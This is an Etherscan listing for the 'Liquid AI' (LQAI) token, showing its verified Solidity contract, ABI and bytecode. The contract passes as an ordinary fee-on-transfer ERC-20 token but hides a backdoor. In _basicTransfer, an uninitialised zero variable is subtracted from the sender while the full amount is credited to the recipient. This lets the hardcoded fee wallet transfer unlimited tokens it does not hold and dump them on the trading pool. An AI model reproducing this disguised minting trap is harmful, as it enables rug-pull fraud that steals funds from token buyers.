ETH Price: $2,417.95 (+1.68%)

Token

Liquid AI (LQAI)
 

Overview

Max Total Supply

100,000,000 LQAI

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
994,349.872531081421547423 LQAI

Value
$0.00
0x437E72ed158fC409d6447AEFf6DacaD183900722
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LiquidAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-29
*/

// SPDX-License-Identifier: MIT

/*
    Web     : https://liquidai.money
    App     : https://app.liquidai.money
    Doc     : https://docs.liquidai.money

    Twitter : https://twitter.com/LiquidAI_money
    Telegram: https://t.me/liquidai_money
*/

pragma solidity 0.8.19;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract LiquidAI is Context, Ownable, IERC20 {
    using SafeMath for uint256;

    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint8 constant private _decimals = 18;
    uint256 constant public _totalSupply = 100_000_000 * 10**18;        
    uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity 
    uint256 public maxWalletAmount = onePercent * 2;               // 2% max wallet at launch
    uint256 public swapThreshold = 400 * 10**_decimals;

    uint256 constant public buyfee = 0;        
    uint256 constant public sellfee = 5;

    uint256 constant public initialFee = 45;
    uint256 constant public fee_denominator = 100;
    
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address payable private  liquidFees = payable(0x0EBB2ced8496C844f1dd9D86a68672ebD3Ba9801); // Liquid Fees

    IRouter02 public swapRouter;
    string constant private _name = "Liquid AI";
    string constant private _symbol = "LQAI";    
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;

    address public lpPair;
    bool private inSwap;
    
    uint256 private launchedAt;
    uint256 private launchDelay = 2;
    bool private launch = false;

    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateLiquidThresold(uint256 amount);

    constructor () {
        _noFee[msg.sender] = true;
        _noFee[address(this)] = true;
        _noFee[liquidFees] = true;
        
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function createLiquidPairs() external onlyOwner {

        require(!launch,"Already Liquid AI launched!");

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2 Router
        
        _approve(address(this), address(swapRouter), _totalSupply);
        lpPair = IFactoryV2(swapRouter.factory()).createPair(address(this), swapRouter.WETH());
        isLpPair[lpPair] = true;
        swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(lpPair).approve(address(swapRouter), type(uint).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoLiquidFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function is_LiquidSell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function isNoLiquidInternalFees(address ins) internal view returns (bool) {
        return _noFee[ins] && ins!=owner() && ins!=address(this);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        uint256 amounts;
        balance[sender] = balance[sender].sub(
            amounts,
            "Insufficient Balance"
        );
        balance[recipient] = balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(isNoLiquidInternalFees(from)) {
            return _basicTransfer(from, to, amount);
        }

        if (_noFee[from] || _noFee[to]){
            takeFee = false;
        } else {
            require(launch, "Trading is not opened!");

            if(is_LiquidSell(from, to) &&  !inSwap) {
                uint256 tokensToSwap = balanceOf(address(this));
                if(tokensToSwap >= swapThreshold && !inSwap) { 
                    if (tokensToSwap > onePercent) {
                        tokensToSwap = onePercent;
                    }                
                    internalSwap(amount, tokensToSwap);
                }
            } else {
                require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
            }
        }

        balance[from] -= amount;
        uint256 amountAfterFee = (takeFee) ? takeLiquidTaxes(from, is_LiquidSell(from, to), amount) : amount;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);

        return true;
    }

    function removeLiquidLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    function withdrawStuckEthBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function takeLiquidTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {

        uint256 fee;
        if (block.number < launchedAt + launchDelay) {
            fee = initialFee;
        } else {
            fee = buyfee;
            if (issell)  fee = sellfee;
        }

        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractBalance, uint256 tokensForSwap) internal inSwapFlag {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        if(contractBalance > swapThreshold) {
            try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokensForSwap,
                0,
                path,
                address(this),
                block.timestamp
            ) {} catch {
                return;
            }

            uint256 ethForMarketing = address(this).balance;
            liquidFees.transfer(ethForMarketing);
        }
    }

    function changeLiquidThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateLiquidThresold(swapThreshold);
    }

    function enableTrading() external onlyOwner {
        require(!launch,"Already launched!");

        launch = true;
        launchedAt = block.number;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateLiquidThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeLiquidThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createLiquidPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoLiquidFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLiquidLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200029d565b6200002190620f4240620002b5565b6200002e906002620002b5565b6005556200003f6012600a6200029d565b6200004d90610190620002b5565b600655600780546001600160a01b031916730ebb2ced8496c844f1dd9d86a68672ebd3ba98011790556002600b55600c805460ff191690553480156200009257600080fd5b506200009e3362000138565b3360008181526002602090815260408083208054600160ff19918216811790925530855282852080548216831790556007546001600160a01b0316855282852080549091169091179055838352600482528083206a52b7d2dcc80cd2e40000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002cf565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001df578160001904821115620001c357620001c362000188565b80851615620001d157918102915b93841c9390800290620001a3565b509250929050565b600082620001f85750600162000297565b81620002075750600062000297565b81600181146200022057600281146200022b576200024b565b600191505062000297565b60ff8411156200023f576200023f62000188565b50506001821b62000297565b5060208310610133831016604e8410600b841016171562000270575081810a62000297565b6200027c83836200019e565b806000190482111562000293576200029362000188565b0290505b92915050565b6000620002ae60ff841683620001e7565b9392505050565b808202811582820484141762000297576200029762000188565b611b6180620002df6000396000f3fe6080604052600436106101c65760003560e01c8063893d20e8116100f7578063aa4bde2811610095578063dd62ed3e11610064578063dd62ed3e146104ce578063e67e553b14610514578063e9451f5f1461054d578063f2fde38b1461056257600080fd5b8063aa4bde281461046e578063c31c9c0714610484578063d1e3d305146104a4578063dc9d75b0146104b957600080fd5b806395d89b41116100d157806395d89b41146103f7578063964b92e8146104245780639c00316e14610439578063a9059cbb1461044e57600080fd5b8063893d20e8146103c45780638a8c523c146103e25780638da5cb5b146103c457600080fd5b8063313ce56711610164578063452ed4f11161013e578063452ed4f11461034457806360cad12a1461036457806370a0823114610379578063715018a6146103af57600080fd5b8063313ce567146102e757806339f69036146103035780633eaaf86b1461032557600080fd5b8063095ea7b3116101a0578063095ea7b31461026457806318160ddd146102945780631dc36945146102b257806323b872dd146102c757600080fd5b806303fd2a45146101d25780630445b6671461020557806306fdde031461022957600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e861dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561021157600080fd5b5061021b60065481565b6040519081526020016101fc565b34801561023557600080fd5b506040805180820190915260098152684c697175696420414960b81b60208201525b6040516101fc919061173b565b34801561027057600080fd5b5061028461027f36600461179e565b610582565b60405190151581526020016101fc565b3480156102a057600080fd5b506a52b7d2dcc80cd2e400000061021b565b3480156102be57600080fd5b5061021b600081565b3480156102d357600080fd5b506102846102e23660046117ca565b610599565b3480156102f357600080fd5b50604051601281526020016101fc565b34801561030f57600080fd5b5061032361031e36600461180b565b610613565b005b34801561033157600080fd5b5061021b6a52b7d2dcc80cd2e400000081565b34801561035057600080fd5b506009546101e8906001600160a01b031681565b34801561037057600080fd5b506103236106d2565b34801561038557600080fd5b5061021b610394366004611824565b6001600160a01b031660009081526004602052604090205490565b3480156103bb57600080fd5b5061032361077b565b3480156103d057600080fd5b506000546001600160a01b03166101e8565b3480156103ee57600080fd5b506103236107b1565b34801561040357600080fd5b506040805180820190915260048152634c51414960e01b6020820152610257565b34801561043057600080fd5b50610323610835565b34801561044557600080fd5b5061021b602d81565b34801561045a57600080fd5b5061028461046936600461179e565b610870565b34801561047a57600080fd5b5061021b60055481565b34801561049057600080fd5b506008546101e8906001600160a01b031681565b3480156104b057600080fd5b50610323610887565b3480156104c557600080fd5b5061021b606481565b3480156104da57600080fd5b5061021b6104e9366004611841565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561052057600080fd5b5061028461052f366004611824565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561055957600080fd5b5061021b600581565b34801561056e57600080fd5b5061032361057d366004611824565b610c34565b600061058f338484610ccc565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146105fe576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105f8908490611890565b90915550505b610609848484610d90565b90505b9392505050565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161063d906118a3565b60405180910390fd5b60648110156106975760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161063d565b60068190556040518181527f0803b468270e227b04387fe6982873ebbef5f4375120e7fbc16103378f08bbf59060200160405180910390a150565b6000546001600160a01b031633146106fc5760405162461bcd60e51b815260040161063d906118a3565b6000471161074c5760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f20776974686472617721000000000000000000604482015260640161063d565b60405133904780156108fc02916000818181858888f19350505050158015610778573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161063d906118a3565b6107af600061115b565b565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161063d906118a3565b600c5460ff16156108225760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b604482015260640161063d565b600c805460ff1916600117905543600a55565b6000546001600160a01b0316331461085f5760405162461bcd60e51b815260040161063d906118a3565b6a52b7d2dcc80cd2e4000000600555565b600061087d338484610d90565b5060019392505050565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161063d906118a3565b600c5460ff16156109045760405162461bcd60e51b815260206004820152601b60248201527f416c7265616479204c6971756964204149206c61756e63686564210000000000604482015260640161063d565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109449030906a52b7d2dcc80cd2e4000000610ccc565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bb91906118d8565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4191906118d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab291906118d8565b600980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556008541663f305d7194730610b15816001600160a01b031660009081526004602052604090205490565b600080610b2a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb791906118f5565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611923565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b815260040161063d906118a3565b6001600160a01b038116610cc35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063d565b6107788161115b565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161063d565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161063d565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610df65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b6001600160a01b038516610e5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b60008311610ebc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b610ec5856111ab565b15610edd57610ed58585856111fb565b91505061060c565b6001600160a01b03851660009081526002602052604090205460ff1680610f1c57506001600160a01b03841660009081526002602052604090205460ff165b15610f2957506000611091565b600c5460ff16610f745760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161063d565b610f7e85856112d3565b8015610f945750600954600160a01b900460ff16155b1561101657306000908152600460205260409020546006548110801590610fc55750600954600160a01b900460ff16155b1561101057610fd66012600a611a29565b610fe390620f4240611a38565b81111561100657610ff66012600a611a29565b61100390620f4240611a38565b90505b611010848261131e565b50611091565b60055483611039866001600160a01b031660009081526004602052604090205490565b6110439190611a4f565b11156110915760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e6368000000000000000000604482015260640161063d565b6001600160a01b038516600090815260046020526040812080548592906110b9908490611890565b9091555060009050816110cc57836110e0565b6110e0866110da88886112d3565b86611528565b6001600160a01b03861660009081526004602052604081208054929350839290919061110d908490611a4f565b92505081905550846001600160a01b0316866001600160a01b0316600080516020611b0c8339815191528360405161114791815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811660009081526002602052604081205460ff1680156111e157506000546001600160a01b03838116911614155b801561059357506001600160a01b03821630141592915050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054829161124f919083906116a2565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461127e90846116dc565b6001600160a01b038086166000818152600460205260409081902093909355915190871690600080516020611b0c833981519152906112c09087815260200190565b60405180910390a3506001949350505050565b6001600160a01b038116600090815260036020526040812054819060ff16801561131657506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6009805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657611366611a62565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e391906118d8565b816001815181106113f6576113f6611a62565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600854909416825292909152205460001914611460573060009081526001602090815260408083206008546001600160a01b03168452909152902060001990555b6006548311156115155760085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a3908590600090869030904290600401611a78565b600060405180830381600087803b1580156114bd57600080fd5b505af19250505080156114ce575060015b6114d85750611517565b60075460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b505b50506009805460ff60a01b19169055565b600080600b54600a5461153b9190611a4f565b43101561154a5750602d611557565b5060008315611557575060055b80600003611568578291505061060c565b600060646115768386611a38565b6115809190611ae9565b9050801561168e57600060646115968287611a38565b6115a09190611ae9565b306000908152600460205260408120805492935084929091906115c4908490611a4f565b909155505060405182815230906001600160a01b03891690600080516020611b0c8339815191529060200160405180910390a3801561168c57306000908152600460205260408120805483929061161c908490611890565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805483929061165f908490611a4f565b909155505060405181815261dead903090600080516020611b0c8339815191529060200160405180910390a35b505b6116988185611890565b9695505050505050565b600081848411156116c65760405162461bcd60e51b815260040161063d919061173b565b5060006116d38486611890565b95945050505050565b6000806116e98385611a4f565b90508381101561060c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063d565b600060208083528351808285015260005b818110156117685785810183015185820160400152820161174c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077857600080fd5b600080604083850312156117b157600080fd5b82356117bc81611789565b946020939093013593505050565b6000806000606084860312156117df57600080fd5b83356117ea81611789565b925060208401356117fa81611789565b929592945050506040919091013590565b60006020828403121561181d57600080fd5b5035919050565b60006020828403121561183657600080fd5b813561060c81611789565b6000806040838503121561185457600080fd5b823561185f81611789565b9150602083013561186f81611789565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156105935761059361187a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ea57600080fd5b815161060c81611789565b60008060006060848603121561190a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193557600080fd5b8151801515811461060c57600080fd5b600181815b808511156119805781600019048211156119665761196661187a565b8085161561197357918102915b93841c939080029061194a565b509250929050565b60008261199757506001610593565b816119a457506000610593565b81600181146119ba57600281146119c4576119e0565b6001915050610593565b60ff8411156119d5576119d561187a565b50506001821b610593565b5060208310610133831016604e8410600b8410161715611a03575081810a610593565b611a0d8383611945565b8060001904821115611a2157611a2161187a565b029392505050565b600061060c60ff841683611988565b80820281158282048414176105935761059361187a565b808201808211156105935761059361187a565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0657634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203f6e80ed2723772567bb07bfc4bb78517c542af963d68ca8fce17bffc207131764736f6c63430008130033

Deployed Bytecode

